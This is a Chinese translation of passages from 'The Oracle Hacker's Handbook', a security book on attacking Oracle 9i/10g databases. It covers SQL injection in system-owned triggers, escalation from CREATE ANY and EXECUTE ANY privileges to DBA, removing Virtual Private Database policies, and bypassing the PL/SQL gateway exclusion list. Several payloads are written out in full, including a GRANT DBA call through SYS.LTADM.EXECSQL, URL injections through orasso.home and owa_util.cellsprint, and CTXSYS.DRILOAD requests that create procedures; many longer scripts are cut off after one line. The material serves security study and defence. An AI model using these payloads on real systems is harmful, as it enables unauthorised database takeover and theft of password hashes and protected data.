The Oracle Hacker’s Handbook: Hacking and Defending Oracle
by David Litchfield John Wiley & Sons
触发器(Triggers )
在 Oracle 中,触发器是执行某些任务并在给定事件发生时自动触发的 PL/SQL 代码片段。可以为各种事件创建触发器,包括 DML 操作,如 INSERT、DELETE 和 UPDATE;并且它们可以设置为在事件之前或之后触发。触发器也可以定义为事件,例如用户登录、用户被删除或表被截断——换句话说,为所有类型的事件。当涉及到触发器时,有几个关键点需要记住。
首先,触发器以定义它的用户的权限执行。其次,就本章而言,可能更重要的是,就像任何 PL/SQL 对象一样,触发器可能容易受到攻击。在查看实际示例之前,查看一个人为的 SQL 注入示例会很有启发性。对于此示例,我们创建了两个表:一个称为 MYTABLE 以保存短字符串,另一个称为 MYTABLE_LONG 以保存长度超过 15 个字符的字符串的副本。然后我们在 MYTABLE 上创建一个触发器以在插入之前触发,这样如果有人试图将长度超过 15 个字符的字符串插入到 MYTABLE 中,副本也会存储在 MYTABLE_LONG 中。这个例子除了证明这一点之外毫无用处:
1 | SQL> CONNECT SCOTT/TIGER |
如果您查看触发器的文本,您会发现它容易受到 SQL 注入的攻击。 它获取用户在 INSERT 中提供的值,然后将其连接到另一个 INSERT 语句; 然后触发器执行新的 INSERT 语句:
1 | S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V || ''')'; |
最后一条INSERT语句的结果是错误,说明触发器确实存在SQL注入漏洞。
利用MDSYS.SDO_GEOM_TRIG_INS1 和 SDO_GEOM_TRIG_INS1触发器
在 9i 和 10g 的早期版本中,10g 拥有的 SDO_GEOM_TRIG_INS1 触发器很容易受到 SQL 注入的攻击,这与上一节中显示的示例类似。 当对 USER_SDO_GEOM_METADATA 表执行 INSERT 时触发触发器,该表再次归 MDSYS 所有。 由于 PUBLIC 有权插入此表,因此任何人都可以触发触发器。 触发器执行以下 PL/SQL:
1 | .. |
在这里, :new.table_name 和 :new.column_name 会受到用户和注入的 SQL 的影响。 PUBLIC 有权插入此表。 因此,触发器可以被滥用以将 SQL 作为 MDSYS 运行。 例如,低权限用户可以从 USER$ 表中选择 SYS 的密码哈希:
1 | set serveroutput on |
SDO_GEOM_TRIG_INS1 触发器也由 MDSYS 拥有,以非常相似的方式易受攻击。 当在 MDSYS.USER_SDO_LRS_METADATA 上发生 INSERT 时触发此触发器,并执行以下代码:
1 | .. |
利用MDSYS SDO_CMT_CBK_TRIG触发器
MDSYS 拥有的 SDO_CMT_CBK_TRIG 触发器在对 SDO_TXN_IDX_INSERTS 表(也由 MDSYS 拥有)执行 DELETE 时触发。 PUBLIC 对该表具有 SELECT、INSERT、UPDATE 和 DELETE 对象权限。 因此,任何人都可以通过从表中删除一行来触发 SDO_CMT_CBK_TRIG 触发器。 这个触发器不容易受到 SQL 注入的攻击,而是一个更有趣和微妙的漏洞。 这会影响 9i 和 10g 的早期版本。 解释变得有点详细和复杂。
如果您检查触发器的文本,您可以看到在 DELETE 实际发生之前,会从 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中选择一个函数列表,然后执行这些函数。
如果攻击者能够以某种方式在这些表中列出他们自己的函数,那么它们也会在触发器触发时被执行。 PUBLIC 没有为这些表中的任何一个设置对象权限,因此它们不能直接插入自己的函数名称。但是,MDSYS 拥有的 PRVT_CMT_CBK 包有两个过程,CCBKAPPLROWTRIG 和 EXEC_CBK_FN_DML,它们将模式和函数名称作为参数,然后插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中。 PUBLIC 对 PRVT_CMT_CBK 包具有 EXECUTE 权限,并且因为它没有用 ‘AUTHID CURRENT_USER’ 关键字定义,所以包使用 MDSYS的定义者而不是调用者的权限执行。因此,任何人都可以将函数名间接插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中。因此,当 SDO_TXN_IDX_INSERTS 上发生 DELETE 时,任何人都可以影响 SDO_CMT_CBK_TRIG 触发器采取的操作 - 换句话说,任何人都可以获得触发器来执行任意函数。更重要的是,这个函数在触发器中执行时,将以 MDSYS 的权限运行,攻击者可以利用它来获得提升的权限。
此示例脚本将由 SCOTT 等低权限用户运行,将获取 SYS 帐户的密码哈希。 为此,它首先创建一个名为 USERS_AND_PASSWORDS 的表。 此表是 SYS 帐户的密码哈希结束的位置。 然后创建函数 GET_USERS_AND_PWDS。 这是攻击者放置他们的 SQL 漏洞利用代码的地方。 在这种情况下,该函数利用 MDSYS 具有 SELECT ANY TABLE 特权从 USER$ 表中选择 SYS 的密码哈希这一事实。 创建表和函数后,PUBLIC 就可以访问它们。 这使 MDSYS 能够访问它们。 在此之后,执行 MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG 和 MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML 过程,将模式 SCOTT 和函数 GET_USERS_AND_PWDS 插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK 表中。
一切就绪后,将一行插入到 SDO_TXN_IDX_INSERTS 中,然后删除。 当删除发生时,触发器被触发,它检索 SCOTT.GET_USERS_AND_PWDS 函数,然后执行它。 当函数执行时,SYS 的密码哈希从 SYS.USER$ 中选择,然后插入到 SCOTT 的 USERS_AND_PASSWORDS 表中。 最后,SCOTT 从表中选择散列,然后将其输入到他的 Oracle 密码破解程序中。
1 | CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD |
利用SYS.CDC_DROP_CTABLE_BEFORE触发器
SYS 拥有的 10g 第 2 版上的 CDC_DROP_CTABLE_BEFORE 触发器容易受到 SQL 注入的攻击。 (默认情况下,10g 第 1 版不易受到攻击,因为虽然触发器存在,但并未启用。)每当删除表时,触发器就会触发,并执行 sys.dbms_cdc_ipublish.change_table_trigger 过程。 此过程调用 ChangeTable Trigger Java 方法,该方法执行以下 SQL:
1 | String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE |
由于通过使用嵌入式 SQL 创建表名,将要删除的表的名称逐字放入此 SELECT 查询中,因此我们可以以 SYS 身份执行 SQL:
1 | SQL> connect scott/tiger |
利用MDSYS.SDO_DROP_USER_BEFORE触发器
在 10g 第 2 版中,MDSYS 拥有的 SDO_DROP_USER_BEFORE 触发器容易受到 SQL 注入攻击。 但是,在 10g 第 2 版中,MDSYS 没有那么多权限,而它是 Oracle 9i 中的 DBA。 这给我们带来了一个重要的问题,也是一个完美的地方来完成本章并继续下一章:当您所利用的东西的所有者不是 DBA 时,如何获得 DBA 特权? 您将在下一章中学习如何执行此操作。
间接特权提升
在非 DBA 用户拥有的代码中存在错误的情况下会发生什么? 是否仍有可能利用该漏洞并获得 DBA 权限? 嗯,答案取决于多种因素,例如易受攻击的用户实际拥有的特权。 在本章中,我们将研究如何滥用某些权限来获得 DBA 权限; 而且,正如您将看到的,有些比其他更容易。 从上一章继续,我们将首先查看 CREATE ANY TRIGGER 权限。 事实上,许多 CREATE ANY 特权意味着您离 DBA 特权仅一步之遥,但您还将看到,即使只是 CREATE PROCEDURE 特权也常常会导致 DBA。
从CREATE ANY TRIGGER获取DBA
使用上一章中的示例,假设您有一个帐户 MDSYS,该帐户拥有一个容易受到 SQL 注入攻击的触发器。 在 10g 第 2 版中,MDSYS 不是 DBA,但它确实具有 CREATE ANY TRIGGER 系统特权。 这可以用来获得 DBA 权限。 您可能已经猜到或已经知道,CREATE ANY TRIGGER 权限允许被授权者在任何模式中创建触发器,唯一的限制是触发器不能放置在 SYS 拥有的对象上。 从 CREATE ANY TRIGGER 到 DBA 的过程如下。
首先,您确定谁是系统上的 DBA 以及他们拥有哪些表或视图,PUBLIC 可以从哪些表或视图中插入、更新或删除。 SYSTEM 用户提供了一个很好的例子。 默认情况下,它是一个 DBA,它拥有许多 PUBLIC 可以对其执行 DML 操作的表。 一旦找到 DBA,您就可以在他们的模式中为该表创建一个触发器,然后执行设置为触发它的 DML 操作。 触发器里面的东西是关键,因为触发器以所有者的权限执行; 在 SYSTEM 的情况下,您需要获取触发器来执行您创建为 AUTHID CURRENT_USER 的过程。 您可以做任何您想做的事情,因为 SYSTEM 会进入此过程。 让我们看一下 MDSYS 示例。
MDSYS.SDO_DROP_USER_BEFORE 触发器在执行 drop user 命令时执行。 此外,由于触发器是“之前”触发器 - 因此在采取任何操作之前触发 - 被删除的用户不一定存在,并且发出命令的用户不必具有删除用户的权限 。因此,任何人都可以发出 DROP USER FOO 并且触发器将在后台触发。 如果您查看 SDO_DROP_USER_BEFORE 触发器,您可以看到它执行以下操作:
1 | EXECUTE IMMEDIATE |
这里,dictionary_obj_name 是被删除的用户。 可以在此处注入任意 PL/SQL,如下例所示:
1 | SQL> connect scott/tiger |
注意第六行的 AA。 这是将 DBMS_OUTPUT.PUT_LINE(‘AA’ 注入到 DROP USER 语句中的输出。现在让我们继续并从这里获取 DBA 权限,如前所述。我们将注入一个在 SYSTEM.OL$ 表上创建触发器的过程 , PUBLIC 具有 INSERT 的权限。创建后,您插入到 OL$ 表中,触发触发器并获得 DBA 权限:
1 | connect scott/tiger |
从CREATE ANY VIEW获取DBA
您可以以类似的方式利用 CREATE ANY VIEW。 默认情况下,在 10g 第 2 版中,授予此权限的唯一用户是 SYS; 如果您可以将 SQL 注入 SYS 过程,那么您无论如何都已经是 DBA。 出于说明目的,让我们假设一个具有此权限的测试用户并创建一个易受攻击的过程:
1 | connect / as sysdba |
有了我们的易受攻击的程序和具有 CREATE ANY VIEW 权限的测试用户,让我们开始利用它来获得 DBA 权限。
我们需要在 DBA 的模式中创建视图,然后以某种方式让高权限用户访问该视图。 第二部分可能听起来很难,但实际上并非如此。 SYS 拥有的数百个过程实例将视图或表的名称作为参数,然后它进行访问。 出于演示目的,让我们节省时间并快速创建我们自己的 - 通过使用 DBMS_ASSERT.QUALIFIED_SQL_NAME 函数确保它不会受到 SQL 注入的影响:
1 | connect / as sysdba |
好的,现在来获得 DBA 权限。 我们要做的是将我们自己的过程注入到 VTEST.VPROC 过程中,该过程在 SYSTEM 模式中创建一个视图。 我们在这里选择 SYSTEM 模式是因为 CREATE ANY VIEW 权限不允许我们在 SYS 模式中创建视图。 我们创建的视图将调用我们拥有的函数,并将我们的最终代码放在此处以获取 DBA 权限。 当我们通过 SYS.SPROC 过程访问视图时,将执行此函数,授予我们 DBA 权限:
1 | connect scott/tiger |
从EXECUTE ANY PROCEDURE获取DBA
我几乎不需要解释这一点。 毋庸置疑,当拥有此权限的用户可以找到 SYS 拥有的执行任意 SQL 的过程时,他们可以立即获得 DBA。 有很多这样的程序,如下所示:
1 | EXEC SYS.LTADM.EXECSQL('GRANT DBA TO SCOTT'); |
从CREATE PROCEDURE获取DBA
好的 - 这就是问题所在。 我们在一个只有很少权限的用户拥有的包中发现了一个 SQL 注入缺陷。 OLAPSYS、MDSYS、DBSNMP 和 ORDSYS 等帐户被授予创建过程权限。 因此,如果他们更改了其他人拥有的另一个过程所依赖的一个过程,那么他们就可以开始以该其他用户的身份执行代码。 如果该用户不是 DBA,那么您至少更近了一步。 例如,SYS 拥有的 VALIDATE_CONTEXT 过程依赖于 CTXSYS 拥有的 DRUE 包。 如果 CTXSYS 更改此包并将漏洞利用代码放入其中,则 CTXSYS 可以获得 DBA 权限。 因此,如果 CTXSYS 拥有一个容易受到 SQL 注入攻击的 PUBLIC 可执行过程,那么就有可能获得 DBA 特权。 碰巧的是,在 10g 第 2 版 CTXSYS 上没有此特权,但您明白了。 要查看哪个过程取决于什么,请检查 DBA_DEPENDENCIES 视图。
攻击虚拟专用数据库
本章假设您了解虚拟专用数据库 (VPD)。 如果您不了解,我推荐 David Knox 的 Effective Oracle Database 10g Security by Design(McGraw-Hill,2004 年)。 简而言之,VPD 是 Oracle 内置的一种安全机制,它允许细粒度的访问控制。 它用于强制执行安全策略。 本质上,VPD 只允许用户访问策略指定他们可以访问的数据,而不能访问更多数据。 但是,有多种方法可以攻击 VPD。 本章看几个。
欺骗 Oracle 删除策略
VPD 是使用 DBMS_RLS 包创建的。 也可以使用 DBMS_FGA 包——它们的作用完全相同。 顺便提一下,RLS 代表行级安全,而 FGA 代表细粒度访问。 如果我们想看看谁可以执行这个包,我们得到以下内容:
1 | SQL> select grantee,privilege from dba_tab_privs where table_name |
综上所述,如果我们可以将代码作为 XDB 或 WKSYS 执行,那么我们就可以操纵 RLS 策略。 在开始之前,让我们设置一个简单的 VPD。 首先,创建将拥有 VPD 的用户:
1 | SQL> CONNECT / AS SYSDBA |
完成后,我们可以设置一个表用作 VPD。 在这个例子中,我们将创建一个存储army订单的表:
1 | SQL> CONNECT VPD/PASS123 |
在设置 VPD 之前,因为我们已授予 PUBLIC 执行权限,任何人都可以访问标记为 SECRET 的订单:
1 | SQL> CONNECT SCOTT/TIGER |
我们将设置一个虚拟专用数据库来防止这种情况。 首先,我们创建一个返回谓词的函数——本质上是一个 where 子句,它被附加到对表的查询的末尾:
1 | SQL> CONNECT VPD/PASS123 |
创建函数后,现在可以使用它来执行策略 - 我们将其称为 SECRECY:
1 | SQL> BEGIN |
现在,如果我们以 SCOTT 的身份重新连接并从此表中选择,我们将只会看到non-secret 订单:
1 | SQL> CONNECT SCOTT/TIGER |
是时候再次访问了……
早些时候有人指出 XDB 可以执行 DBMS_RLS 包。 从理论上讲,如果我们能在 XDB 拥有的任何包中发现缺陷,我们就可以利用它来删除策略。 在寻找这样一个缺陷以将理论变为实际之后,我们在 DB_PITRIG_PKG 包中遇到了一个 - SQL 注入缺陷:
1 | SQL> CONNECT SCOTT/TIGER |
现在我们可以再次访问SECRECY订单。 那么这里发生了什么? XDB_PITRIG_PKG 包的 PITRIG_DROP 过程容易受到 SQL 注入的影响,并且由于该包可由 PUBLIC 执行,因此任何人都可以作为 XDB 执行 SQL。 我们创建了一个名为 F 的函数,它执行以下操作:
1 | BEGIN |
这会从 VPDTESTTABLE 中删除 SECRECY 策略。 然后我们将此函数注入到 XDB_PITRIG_PKG.PITRIG_DROP 中,它以 XDB 权限执行,从而删除策略并让我们再次访问秘密数据。 此外,创建 FOO 表并将其保留为空以停止“ORA-31007:尝试删除非空容器”错误,如果我们使用例如 SCOTT.EMP,我们会得到该错误。 坦率地说,SYS 拥有的定义者权限包中的任何 SQL 注入缺陷都会同样有效 - 但这一点已经得到了解决。 如果您不知道 VPDTESTTABLE 上的策略名称,则可以从 ALL_POLICIES 视图中获取此信息:
1 | SQL> select OBJECT_OWNER, OBJECT_NAME, POLICY_NAME FROM ALL_POLICIES; |
使用原始文件访问攻击VPD
您可以通过访问原始数据文件本身来完全绕过数据库强制访问控制。 这在第 11 章中有完整的介绍——但现在是代码:
1 | SET ESCAPE ON |
创建后,您可以使用它直接读取文件 - 在这种情况下, VPDTESTTABLE 存在于 USERS 表空间中:
1 | SQL> set serveroutput on |
PL/SQL 过程成功完成。 此输出包含加密数据 - 例如,从第 3 行的最后三个字节开始,我们有以下内容:
1 | \x53\x45\x43\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45 |
一般特权
我已经看到许多服务器已授予 PUBLIC DBMS_RLS 的执行权限,以及一些关于虚拟专用数据库的教程也是如此。 这不是一个好主意。 还有其他包应该有PUBLIC的执行权限,比如SYS.LTADM,它有一个叫做CREATERLSPOLICY的过程,直接调用DBMS_RLS.ADD_POLICY过程。 DBMS_FGA 显然是另一个。 WKSYS 拥有的 WK_ADM 可由 PUBLIC 执行并允许对策略进行有限的修改。
最后,如果有人可以授予自己 EXEMPT ACCESS POLICY 系统特权 - 例如,通过 SQL 注入缺陷 - 那么策略将不适用于他们。
攻击Oracle PL/SQL Web应用程序
Oracle PL/SQL 网关提供了通过 Web 在 Oracle 数据库服务器中执行 PL/SQL 过程的能力。 它提供了一个网关,即从 Internet 到 Web 上的后端 Oracle 数据库服务器的路径。 当用户使用 Web 浏览器连接到运行 Oracle PL/SQL 网关的 Web 服务器时,网关只是将用户的请求代理到执行请求的数据库服务器。 Oracle PL/SQL 网关内置于 Oracle 门户、Oracle 应用程序、服务器和 Oracle HTTP 服务器。
认识Oracle PL/SQL网关
PL/SQL 网关 URL
PL/SQL Web 应用程序的 URL 通常很容易识别,并且通常以以下开头(xyz 可以是任何字符串并表示数据库访问描述符,稍后您将了解更多信息):
1 | http://server.example.com/pls/xyz |
虽然这些示例中的第二个和第三个表示来自旧版本 PL/SQL 网关的 URL,但第一个来自在 Apache 上运行的更新版本。 在 plsql.conf Apache 配置文件中,/pls 是默认值,指定为一个位置,PLS 模块作为处理程序。 但是,位置不必是 /pls。 URL 中缺少文件扩展名可能表明存在 Oracle PL/SQL 网关。 考虑以下 URL:
1 | http://server/aaa/bbb/xxxxx.yyyyy |
如果 xxxxx.yyyyy 被替换为类似于“ebank.home”、“store.welcome”、“auth.login”或“books.search”的内容,那么 PL/SQL 网关很有可能是 正在使用。 您可以执行一些简单的测试来验证这一点,但在查看这些之前,让我们充分探索 URL 语法:
1 | http://server/pls/xyz/pkg.proc |
在此 URL 中,xyz 是数据库访问描述符或 DAD。 DAD 指定有关数据库服务器的信息,以便 PL/SQL 网关可以连接。 它包含诸如 TNS 连接字符串、用户 ID 和密码、身份验证方法等信息。 这些 DAD 在更新版本中的 dads.conf Apache 配置文件或旧版本中的 wdbsvr.app 文件中指定。 一些默认 DAD 包括以下内容:
1 | ORASSO |
上面显示的URL中的pkg是存储在后端数据库服务器中的PL/SQL包的名称,proc是包导出的过程。 将 PL/SQL 包视为存在于 Oracle 数据库服务器中的程序的最佳方式,每个过程都公开了一些可以调用的功能。 例如,您可以编写一个 Calculator PL/SQL 包。 该包将被称为 CALC,它将具有调用 ADD、SUBTRACT、DIVIDE 和 MULTIPLY 的过程。 然后您可以通过 PL/SQL 网关执行这些过程:
1 | http://server/pls/xyz/calc.add?x1=10&y=20 |
CALC包的源码如下:
1 | -- CALC PL/SQL Package |
这提出了一个有趣的观点:由于 CALC 包可能存在于许多模式中的任何一个模式中,网关如何“知道”去哪里查找? 在 DAD 中指定的用户名通常表示模式,但请记住在开篇章节中网关就是这样:进入数据库的网关。 如果我们指定不同的模式,我们可以访问其他包。 假设 SCOTT 创建了 CALC 包,我们可以访问它——即使 DAD 中指定的模式是 FOO:
1 | http://server/pls/xyz/SCOTT.calc.add?x1=10&y=20 |
这是 Oracle PL/SQL 网关的主要弱点之一。
Oracle门户
Oracle 门户应用程序构建在 Oracle PL/SQL 网关之上。 如果您看到类似的 URL
1 | http://server.example.com/portal/page?_pageid=number&_dad=portal&_schema |
然后服务器正在运行的网关。 将上述门户 URL 转换为网关 URL 需要您采用 dad 参数并将其附加到 /pls:
1 | http://server.example.com/pls/portal/null |
验证Oracle PL/SQL网关是否存在
有时,应用程序使用 Oracle PL/SQL 网关可能并不明显。 本节介绍了一些可用于测试的方法。
Web 服务器 HTTP 服务器响应头
通过获取 HTTP Server 响应头,您通常可以判断 PL/SQL 网关是否存在。 以下是您可能会看到的一些有效回复:
1 | Oracle-Application-Server-10g |
这些是通过搜索“inurl:plsql oracle”和“inurl:owa oracle”从谷歌上发现的服务器中获取的。
如果您不确定某个应用程序是否正在使用 Oracle PL/SQL 网关,您可以针对该信息执行一些快速测试。 如果应用程序正在使用网关,那么将过程设置为 NULL 应该会导致 Web 服务器返回一个空的 200 响应:
1 | http://server/pls/dad/null |
发生这种情况是因为 PL/SQL 中的 NULL 相当于无操作; 如果你得到一个空正文的 200 响应,你可以推断无操作成功完成。
在网关的更高版本中,请求 OWA_UTIL.SIGNATURE 作为过程应该导致 403 Forbidden 响应:
1 | http://server/pls/dad/owa_util.signature |
在这里,我们收到了禁止响应,因为此过程存在安全风险,并且 Oracle Portal 默认阻止对其进行访问。 如果您正在处理 Oracle Portal 的早期版本,从而可以获得对 OWA_UTIL 的访问,那么您应该得到类似于
1 | "This page was produced by the PL/SQL Web Toolkit on date" |
或
1 | "This page was produced by the PL/SQL Cartridge on date" |
Oracle PL/SQL 网关如何与数据库服务器通信
使用 SQL*Plus 等标准客户端,普通用户可以执行 PL/SQL 过程,如下所示:
1 | SQL> exec package.procedure('foo'); |
或者,用户可以在匿名 PL/SQL 块中执行该过程,如下所示:
1 | SQL> declare |
PL/SQL 网关本质上做同样的事情。 它采用用户请求的包和过程的名称,并将其嵌入到 PL/SQL 的匿名块中,将其发送到数据库服务器以供执行。 随着时间的推移,匿名 PL/SQL 块的确切内容发生了变化,但如果我们请求 http://server/pls/dad/foo.bar?xyz=123,它看起来像这样:
1 | 1 declare |
需要注意的关键行是 19 和 24。在第 19 行,根据已知的“坏”字符串列表检查用户的请求。 这构成了 PL/SQL 排除列表的一部分,稍后您将了解更多信息。 如果用户请求的包和过程不包含坏字符串,则过程在第 24 行执行。XYZ 参数作为绑定变量传递。 稍后您将学习如何操作您的请求,以便您可以在这个匿名块中嵌入任意 PL/SQL - 从而获得对其执行的后端数据库服务器的完全控制。
攻击PL/SQL网关
本节着眼于攻击 PL/SQL 网关的方法。 完成此操作的方式取决于补丁级别。 并提供了对 Oracle 修补安全漏洞的方法的深入了解。
PL/SQL 排除列表
之前您看到了如何通过指定包所在的架构来访问任何过程(取决于权限)。 这存在明显的安全风险。 为了阻止这种风险,Oracle 引入了 PL/SQL ExclusionList。 此列表最初包含许多已知的错误字符串,这些字符串可能出现在攻击者发出的请求中。 该列表包含以下条目:
1 | OWA* |
由于这些攻击都存在已知的攻击,Oracle 希望阻止访问名称与这些条件匹配的包。 在过去的五年中,一些漏洞允许攻击者绕过 PL/SQL 排除列表并访问这些包。 例如,考虑 SYS 拥有的 OWA_UTIL 包。 这个包包含一个叫做 CELLSPRINT 的过程,它使攻击者能够运行任意 SELECT 查询。 在没有排除列表的服务器中,可以按如下方式执行查询:
1 | http://server.example.com/pls/dad/owa_util.cellsprint?p_thequery=select+1+from+dual |
添加排除列表后,直接尝试访问此包将导致“403 Forbidden”响应。 但是,可以通过在包之前放置换行符来轻松绕过第一个补丁:
1 | http://server.example.com/pls/dad/%0Aowa_util.cellsprint?p_thequery=select+1+from+dual |
Oracle 对此进行了修补,但下一个修补程序也可能会失败。 这次的问题是由于后端数据库服务器将十六进制字节 0xFF 视为 Y,而网关没有。 因此,通过请求
1 | http://server.example.com/pls/dad/S%FFS.owa_util.cellsprint?p_thequery=select+1+from+dual |
攻击者可以再次访问包 - %FF 被数据库转换为 Y,使模式名称为 SYS。 此问题是由国际化功能引起的。可以通过将模式名称括在双引号中来解决此问题的补丁:
1 | http://server.example.com/pls/dad/" SYS".owa_util.cellsprint?p_thequery=select+1+from+dual |
这打破了模式匹配。 但是,这在 10g 应用程序服务器上不起作用,因为此版本的 PL/SQL 网关将所有大写字符转换为小写字符,将“SYS”请求为“sys”。 因此,Oracle 将无法找到包,因为带引号的标识符区分大小写。 但是,可以通过在包名称前插入 goto 标签来破坏 10g 应用程序服务器:
1 | http://server.example.com/pls/dad/<<LBL>>owa_util.cellsprint?p_thequery=select+1+from+dual |
可以通过在各个区域插入任意 SQL 元素来破坏下一个补丁。如果用户请求
1 | http://server.example.com/pls/dad/FOO.BAR |
执行以下 PL/SQL:
1 | 1 declare |
请注意,在第 19 行,根据可能源自攻击的已知“坏”值列表对请求的包和过程名称 FOO.BAR 进行检查。 除了检查简单列表中的字符串外,它还检查特殊字符。
如果用户然后请求
1 | http://server.example.com/pls/dad/INJECT'POINT |
执行以下 PL/SQL:
1 | .. |
错误日志中生成错误:“PLS-00103:在期望以下其中一项时遇到符号‘POINT’……”这是由于 SQL 注入问题。 为了破坏服务器,攻击者只需要构建和注入特定的查询。有一些障碍需要克服。 首先,它们被限制为由句点分隔的三个 30 个字符的块 - 如下所示:
1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC |
其次,它们注入的任何内容也都可以在第 24 行找到 - 由于它们必须用单引号引起来,因此该行上的 SQL 将不平衡。 他们可以通过将注入字符串的前两个字节设为双减来解决此问题。如果他们现在要求
1 | http://server.example.com/pls/dad/--' |
现在需要闭合括号:
1 | http://server.example.com/pls/dad/--'))) |
第19行代码变为
1 | if ((owa_match.match_pattern('--')))', simple_list__, |
第24行为
1 | --'))); |
完成后,他们用 THEN 结束 IF:
1 | http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2 |
第19行代码变为
1 | if ((owa_match.match_pattern('--'))) then rc__:=2', simple_list__, |
第24行为
1 | --'))) then rc__:=2; |
现在可以用分号和另一个双减号结束:
1 | http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;-- |
第19行代码变为
1 | if ((owa_match.match_pattern('--'))) then rc__:=2;--', |
第24行为
–’))) then rc__:=2;–;
1 | http://server.example.com/pls/dad/--'))) |
这将返回一个“403 Forbidden”响应——这正是现阶段所期望的。 它返回禁止,因为 OWA_MATCH 将返回 true,因为注入字符串以双减号开头。 然而,这无关紧要,因为攻击者可以在最后一个分号和最后一个双减号之间注入一个过程,确保他们以分号结束他们的注入过程:
1 | http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;XXXXXXXX;-- |
通过在 XXXXXXXX 所在的位置放置任意 SQL,攻击者可以使其执行。 由于前面提到的限制,攻击可能被证明是困难的(但并非不可能),并且存在一种更简单的方法。
首先,攻击者需要找到一个不带参数的PL/SQL过程,如下例所示:
1 | JAVA_AUTONOMOUS_TRANSACTION.PUSH |
如果攻击者发送
1 | http://server.example.com/pls/dad/orasso.home?FOO=BAR |
服务器应该返回“404 File Not Found”响应,因为 orasso.home 过程不需要参数并且已经提供了参数。 但是,在返回404之前,执行了以下PL/SQL:
1 | .. |
请注意攻击者的查询字符串中是否存在 FOO。 他们可以滥用它来运行任意 SQL。 首先,他们需要关闭括号:
1 | http://server.example.com/pls/dad/orasso.home?);--=BAR |
这将导致执行以下 PL/SQL:
1 | orasso.home();--=>:);--); |
请注意,双减号 (–) 之后的所有内容都被视为注释。
此请求将导致内部服务器错误,因为不再使用绑定变量之一,因此攻击者需要将其添加回来。 碰巧,正是这个绑定变量是运行任意 PL/SQL 的关键。
目前,他们可以使用 HTP.PRINT 打印 BAR,并将所需的绑定变量添加为:1:
1 | http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR |
这应该在 HTML 中返回一个带有“BAR”字样的 200。 这里发生的事情是等号之后的所有内容(在本例中为 BAR)都是插入到绑定变量中的数据。
使用相同的技术还可以再次访问 owa_util:
1 | http://server.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS |
为了执行任意 SQL,包括 DML 和 DDL 语句,攻击者插入立即执行:1:
1 | http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual |
请注意,不会显示输出。 这可以用来利用 SYS 拥有的任何 PL/SQL 注入错误,从而使攻击者能够完全控制后端数据库服务器:
1 | http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1 |
截至 2005 年 11 月 25 日,此漏洞仍未修补且可利用。 假设这将在下一个重要补丁更新中修补:
当然,可能没有必要绕过 PL/SQL 排除列表。 例如,在 Oracle 9x 数据库服务器中,CTXSYS 用户是 DBA,CTXSYS 拥有的许多 PL/SQL 包都容易受到 SQL 注入的影响——例如 DRILOAD 包。 这个包有一个过程——即 VALIDATE_STMT——它基本上接受用户提供的查询并执行它。 这可能会在网络上被滥用。 这里要注意的一件事是非选择 SQL 请求可能看起来不起作用。 这是因为当您调用 VALIDATE_STMT 过程时,如果您没有进行选择,该过程将返回以下内容:
1 | ERROR at line 1: |
这将发送回 Web 服务器,因此 Web 服务器返回“404 文件未找到”响应。 测试是否可以获得访问权限,请求
1 | http://server.example.com/pls/dad/CTXSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL |
应该返回一个带有 200 响应的空 HTML 页面。 如果是这样,那么以下内容也应该有效:
1 | http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=CREATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT('hello');+END; |
这应该返回 404,但它会在 CTXSYS 模式中创建一个名为 WEBTEST 的包。
请求:
1 | http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC |
授予 PUBLIC 对 WEBTEST 过程的执行权限,并请求:
1 | http://server.example.com/pls/dad//ctxsys.webtest |
返回“Hello”。 这里发生了什么? 我们的第一个请求创建了一个名为 WEBTEST 的过程,它使用 HTP.PRINT 写出“hello”。 此过程由 CTXSYS 创建并拥有。 第二个请求授予 PUBLIC 对 WEBTEST 过程的执行权限。 最后,我们可以称之为——最后一个请求。 从中可以看出整个攻击和漏洞的危险程度。
执行操作系统命令
Oracle 提供了许多用于从数据库服务器运行操作系统命令的工具——有些是故意的,有些是“黑客”。 命令可以通过 PL/SQL、Java 和默认包执行,并通过使用 ALTER SYSTEM 命令操作服务器参数来执行。 不用说,运行操作系统命令需要相关的高级权限,但前面的章节已经表明,获得这样的权限并不是一件困难的事。
通过PL/SQL运行系统命令
开发人员可以通过创建一个共享对象(动态链接库, DLL)来扩展 PL/SQL,该对象在函数中包含他们想要实现的代码。 开发人员将使用 CREATE LIBRARY 语句向 Oracle 服务器注册该库。 一旦注册,就可以调用该函数。 攻击者可以利用这种行为来运行操作系统命令。 他们会通过在 Unix 系统上注册 libc 或在 Windows 系统上注册 msvcrt.dll 然后调用 system() 函数来做到这一点:
1 | / * First register msvcrt.dll/libc */ |
